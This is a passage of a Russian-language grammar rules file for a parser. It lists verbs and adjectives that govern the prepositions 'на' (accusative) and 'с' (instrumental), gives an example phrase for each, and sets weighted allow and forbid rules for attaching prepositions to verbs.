// выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на гвоздь инфинитив:походить{вид:соверш}, // походить на занятия глагол:походить{вид:соверш}, деепричастие:походив{}, прилагательное:походивший{}, rus_verbs:помчаться{}, // помчаться на экзамен rus_verbs:ставить{}, // ставить на контроль rus_verbs:свалиться{}, // свалиться на землю rus_verbs:валиться{}, // валиться на землю rus_verbs:подарить{}, // подарить на день рожденья rus_verbs:сбежать{}, // сбежать на необитаемый остров rus_verbs:стрелять{}, // стрелять на поражение rus_verbs:обращать{}, // обращать на себя внимание rus_verbs:наступать{}, // наступать на те же грабли rus_verbs:сбросить{}, // сбросить на землю rus_verbs:обидеться{}, // обидеться на друга rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) 